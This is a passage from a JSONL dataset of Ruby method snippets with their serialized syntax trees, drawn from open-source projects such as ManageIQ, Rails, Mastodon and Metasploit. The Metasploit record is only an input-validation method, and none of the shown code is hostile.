\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},\"size\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"joins\",{\"type\":\"sym\",\"children\":[\"labels\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"labels\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]}]}]}]}]}]}]}","id":"45b87c20-7f80-4035-927a-cc8ba8e2286b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_action.rb","start_line":813,"raw_source":"def action_custom_automation(action, rec, inputs)\n    ae_hash = action.options[:ae_hash] || {}\n    automate_attrs = ae_hash.reject { |key, _value| MiqAeEngine::DEFAULT_ATTRIBUTES.include?(key) }\n    automate_attrs[:request] = action.options[:ae_request]\n    MiqAeEngine.set_automation_attributes_from_objects([inputs[:policy], inputs[:source_event]], automate_attrs)\n\n    user = rec.tenant_identity\n    unless user\n      raise _(\"A user is needed to raise an action to automate. [%{name}] id:[%{id}] action: [%{description}]\") %\n              {:name => rec.class.name, :id => rec.id, :description => action.description}\n    end\n\n    args = {\n      :object_type      => rec.class.base_class.name,\n      :object_id        => rec.id,\n      :user_id          => user.id,\n      :miq_group_id     => user.current_group.id,\n      :tenant_id        => user.current_tenant.id,\n      :attrs            => automate_attrs,\n      :instance_name    => \"REQUEST\",\n      :automate_message => action.options[:ae_message] || \"create\",\n    }\n\n    invoke_or_queue(inputs[:synchronous], __method__, \"automate\", nil, MiqAeEngine, 'deliver', [args],\n                    \"MiqAeEngine.deliver for #{automate_attrs[:request]} with args=#{args.inspect}\")\n  end","complexity_score":48.4,"ast_json":"{\"type\":\"def\",\"children\":[\"action_custom_automation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]},{\"type\":\"arg\",\"children\":[\"rec\"]},{\"type\":\"arg\",\"children\":[\"inputs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ae_hash\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ae_hash\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"automate_attrs\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ae_hash\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"_value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqAeEngine\"]},\"DEFAULT_ATTRIBUTES\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"automate_attrs\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"request\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ae_request\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqAeEngine\"]},\"set_automation_attributes_from_objects\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"policy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source_event\"]}]}]},{\"type\":\"lvar\",\"children\":[\"automate_attrs\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"tenant_identity\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"A user is needed to raise an action to automate. [%{name}] id:[%{id}] action: [%{description}]\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"description\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"class\"]},\"base_class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"miq_group_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"current_group\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tenant_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"current_tenant\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attrs\"]},{\"type\":\"lvar\",\"children\":[\"automate_attrs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_name\"]},{\"type\":\"str\",\"children\":[\"REQUEST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"automate_message\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ae_message\"]}]},{\"type\":\"str\",\"children\":[\"create\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"invoke_or_queue\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inputs\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"synchronous\"]}]},{\"type\":\"send\",\"children\":[null,\"__method__\"]},{\"type\":\"str\",\"children\":[\"automate\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"const\",\"children\":[null,\"MiqAeEngine\"]},{\"type\":\"str\",\"children\":[\"deliver\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"MiqAeEngine.deliver for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"automate_attrs\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"request\"]}]}]},{\"type\":\"str\",\"children\":[\" with args=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"inspect\"]}]}]}]}]}]}","id":"14e01897-6e26-4440-82f1-3f3b0fe2154f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/hp_enum_perfd.rb","start_line":40,"raw_source":"def setup\n    super\n    if datastore['COMMANDS']\n      bad_commands = commands - ALLOWED_COMMANDS\n      unless bad_commands.empty?\n        fail ArgumentError, \"Bad perfd command(s): #{bad_commands}\"\n      end\n    end\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"COMMANDS\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bad_commands\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commands\"]},\"-\",{\"type\":\"const\",\"children\":[null,\"ALLOWED_COMMANDS\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bad_commands\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[null,\"fail\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Bad perfd command(s): \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bad_commands\"]}]}]}]}]}]},null]}]}]}","id":"d85514f9-8f4d-45c4-bb10-efbf8e4fcb80"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/statuses_controller.rb","start_line":31,"raw_source":"def index\n    @statuses = preload_collection(@statuses, Status)\n    render json: @statuses, each_serializer: REST::StatusSerializer\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@statuses\",{\"type\":\"send\",\"children\":[null,\"preload_collection\",{\"type\":\"ivar\",\"children\":[\"@statuses\"]},{\"type\":\"const\",\"children\":[null,\"Status\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"ivar\",\"children\":[\"@statuses\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"each_serializer\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REST\"]},\"StatusSerializer\"]}]}]}]}]}]}","id":"07e4f186-be6c-4442-9f59-c25d7d7baf79"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/action_pack_assertions_test.rb","start_line":525,"raw_source":"def test_render_text_with_custom_content_type\n    get :render_text_with_custom_content_type\n    assert_equal \"application/rss+xml; charset=utf-8\", @response.headers[\"Content-Type\"]\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_text_with_custom_content_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"render_text_with_custom_content_type\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"application/rss+xml; charset=utf-8\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Content-Type\"]}]}]}]}]}","id":"e5ea9422-d9f0-4b4d-b22e-8811e43d02b9"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/or_test.rb","start_line":99,"raw_source":"def test_or_with_incompatible_unscope\n      error = assert_raises ArgumentError do\n        Post.order(\"body asc\").where(\"id = 1\").unscope(:order).or(Post.order(\"body asc\").where(\"id = 2\")).to_a\n      end\n\n      assert_equal \"Relation passed to #or must be structurally compatible. Incompatible values: [:order]\", error.message\n    end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_or_with_incompatible_unscope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"order\",{\"type\":\"str\",\"children\":[\"body asc\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"id = 1\"]}]},\"unscope\",{\"type\":\"sym\",\"children\":[\"order\"]}]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"order\",{\"type\":\"str\",\"children\":[\"body asc\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"id = 2\"]}]}]},\"to_a\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Relation passed to #or must be structurally compatible. Incompatible values: [:order]\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}","id":"45b7f6aa-61f8-4c1b-aae1-c0a42d39de21"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/application.rb","start_line":311,"raw_source":"def all_build_train_numbers(platform: nil)\n        return self.build_trains(platform: platform || self.platform).versions\n      end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"all_build_train_numbers\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"platform\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build_trains\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"platform\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"platform\"]}]}]}]}]},\"versions\"]}]}]}","id":"46da1401-7a5c-4044-b287-845640a881a0"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/datepicker/datepicker_modal.rb","start_line":46,"raw_source":"def current_month_index\n      # ensure flatpicker month is displayed\n      flatpickr_container.first(\".flatpickr-month\")\n\n      # Checking if showing multiple months or using `monthSelectorType: \"static\"`,\n      # in which case the month is simply some static text in a span instead of a\n      # `<select>` dropdown input.\n      if flatpickr_container.all(\".cur-month\", wait: 0).any?\n        # Get value from month name and convert to index\n        current_month_element = flatpickr_container.first(\".cur-month\")\n        Date::MONTHNAMES.index(current_month_element.text)\n      else\n        # get value from select dropdown value\n        flatpickr_container.first(\".flatpickr-monthDropdown-months\").value.to_i + 1\n      end\n    end","complexity_score":21.03,"ast_json":"{\"type\":\"def\",\"children\":[\"current_month_index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flatpickr_container\"]},\"first\",{\"type\":\"str\",\"children\":[\".flatpickr-month\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flatpickr_container\"]},\"all\",{\"type\":\"str\",\"children\":[\".cur-month\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_month_element\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flatpickr_container\"]},\"first\",{\"type\":\"str\",\"children\":[\".cur-month\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"MONTHNAMES\"]},\"index\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_month_element\"]},\"text\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flatpickr_container\"]},\"first\",{\"type\":\"str\",\"children\":[\".flatpickr-monthDropdown-months\"]}]},\"value\"]},\"to_i\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"b10723ee-5ea5-45b8-af48-c5dabd65580f"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_provision_virt_workflow.rb","start_line":396,"raw_source":"def allowed_pxe_servers(_options = {})\n    return {} if (source = load_ar_obj(get_source_vm)).blank?\n\n    PxeServer.in_region(source.region_number).each_with_object({}) { |p, h| h[p.id] = p.name }\n  end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_pxe_servers\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"send\",\"children\":[null,\"load_ar_obj\",{\"type\":\"send\",\"children\":[null,\"get_source_vm\"]}]}]}]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PxeServer\"]},\"in_region\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"region_number\"]}]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]},{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"name\"]}]}]}]}]}","id":"3e5b0c26-bb1e-431b-ab4e-1352ce6f1123"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-chat-integration/lib/discourse_chat_integration/chat_integration_reference_post.rb","start_line":36,"raw_source":"def is_first_post?\n      topic.try(:highest_post_number) == 0\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"is_first_post?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic\"]},\"try\",{\"type\":\"sym\",\"children\":[\"highest_post_number\"]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"51064055-186c-41c2-a337-6fd247027eb0"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/vmdb/appliance.rb","start_line":56,"raw_source":"def self.log_config(*args)\n      options = args.extract_options!\n      fh = options[:logger] || $log\n      init_msg = options[:startup] == true ? \"* [VMDB] started on [#{Time.now}] *\" : \"* [VMDB] configuration *\"\n      border = \"*\" * init_msg.length\n      fh.info(border)\n      fh.info(init_msg)\n      fh.info(border)\n\n      fh.info(\"Release: #{self.RELEASE}\")\n      fh.info(\"Version: #{self.VERSION}\")\n      fh.info(\"Build:   #{self.BUILD}\")\n      fh.info(\"Codename: #{self.CODENAME}\")\n      fh.info(\"RUBY Environment:  #{Object.const_defined?(:RUBY_DESCRIPTION) ? RUBY_DESCRIPTION : \"ruby #{RUBY_VERSION} (#{RUBY_RELEASE_DATE} patchlevel #{RUBY_PATCHLEVEL}) [#{RUBY_PLATFORM}]\"}\")\n      fh.info(\"RAILS Environment: #{Rails.env} version #{Rails.version}\")\n      check_automate_disk_version_against_db(fh)\n\n      fh.info(\"VMDB settings:\")\n      fh.log_hashes(::Settings, :filter => Vmdb::Settings.secret_filter)\n      fh.info(\"VMDB settings END\")\n      fh.info(\"---\")\n\n      fh.info(\"DATABASE settings:\")\n      fh.log_hashes(ActiveRecord::Base.connection_db_config.configuration_hash)\n      fh.info(\"DATABASE settings END\")\n      fh.info(\"---\")\n    end","complexity_score":45.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"log_config\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"extract_options!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fh\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"logger\"]}]},{\"type\":\"gvar\",\"children\":[\"$log\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"init_msg\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"startup\"]}]},\"==\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"* [VMDB] started on [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"str\",\"children\":[\"] *\"]}]},{\"type\":\"str\",\"children\":[\"* [VMDB] configuration *\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"border\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"*\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"init_msg\"]},\"length\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fh\"]},\"info\",{\"type\":\"lvar\",\"children\":[\"border\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fh\"]},\"info\",{\"type\":\"lvar\",\"children\":[\"init_msg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fh\"]},\"info\",{\"type\":\"lvar\",\"children\":[\"border\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fh\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Release: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"RELEASE\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fh\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Version: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"VERSION\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fh\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Build:   \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"BUILD\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fh\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Codename: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"CODENAME\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fh\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"RUBY Environment:  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"const_defined?\",{\"type\":\"sym\",\"children\":[\"RUBY_DESCRIPTION\"]}]},{\"type\":\"const\",\"children\":[null,\"RUBY_DESCRIPTION\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ruby \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RUBY_VERSION\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RUBY_RELEASE_DATE\"]}]},{\"type\":\"str\",\"children\":[\" patchlevel \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RUBY_PATCHLEVEL\"]}]},{\"type\":\"str\",\"children\":[\") [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RUBY_PLATFORM\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fh\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"RAILS Environment: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]}]},{\"type\":\"str\",\"children\":[\" version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"version\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"check_automate_disk_version_against_db\",{\"type\":\"lvar\",\"children\":[\"fh\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fh\"]},\"info\",{\"type\":\"str\",\"children\":[\"VMDB settings:\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fh\"]},\"log_hashes\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Settings\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Vmdb\"]},\"Settings\"]},\"secret_filter\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fh\"]},\"info\",{\"type\":\"str\",\"children\":[\"VMDB settings END\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fh\"]},\"info\",{\"type\":\"str\",\"children\":[\"---\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fh\"]},\"info\",{\"type\":\"str\",\"children\":[\"DATABASE settings:\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fh\"]},\"log_hashes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection_db_config\"]},\"configuration_hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fh\"]},\"info\",{\"type\":\"str\",\"children\":[\"DATABASE settings END\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fh\"]},\"info\",{\"type\":\"str\",\"children\":[\"---\"]}]}]}]}","id":"f0a51557-ef40-407d-8248-5718879fd1ee"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/mistral/capabilities.rb","start_line":42,"raw_source":"def model_family(model_id)\n          case model_id\n          when /mistral-large/ then 'mistral-large'\n          when /mistral-medium/ then 'mistral-medium'\n          when /mistral-small/ then 'mistral-small'\n          when /ministral/ then 'ministral'\n          when /codestral/ then 'codestral'\n          when /pixtral/ then 'pixtral'\n          when /mistral-embed/ then 'mistral-embed'\n          when /mistral-moderation/ then 'mistral-moderation'\n          else 'mistral'\n          end\n        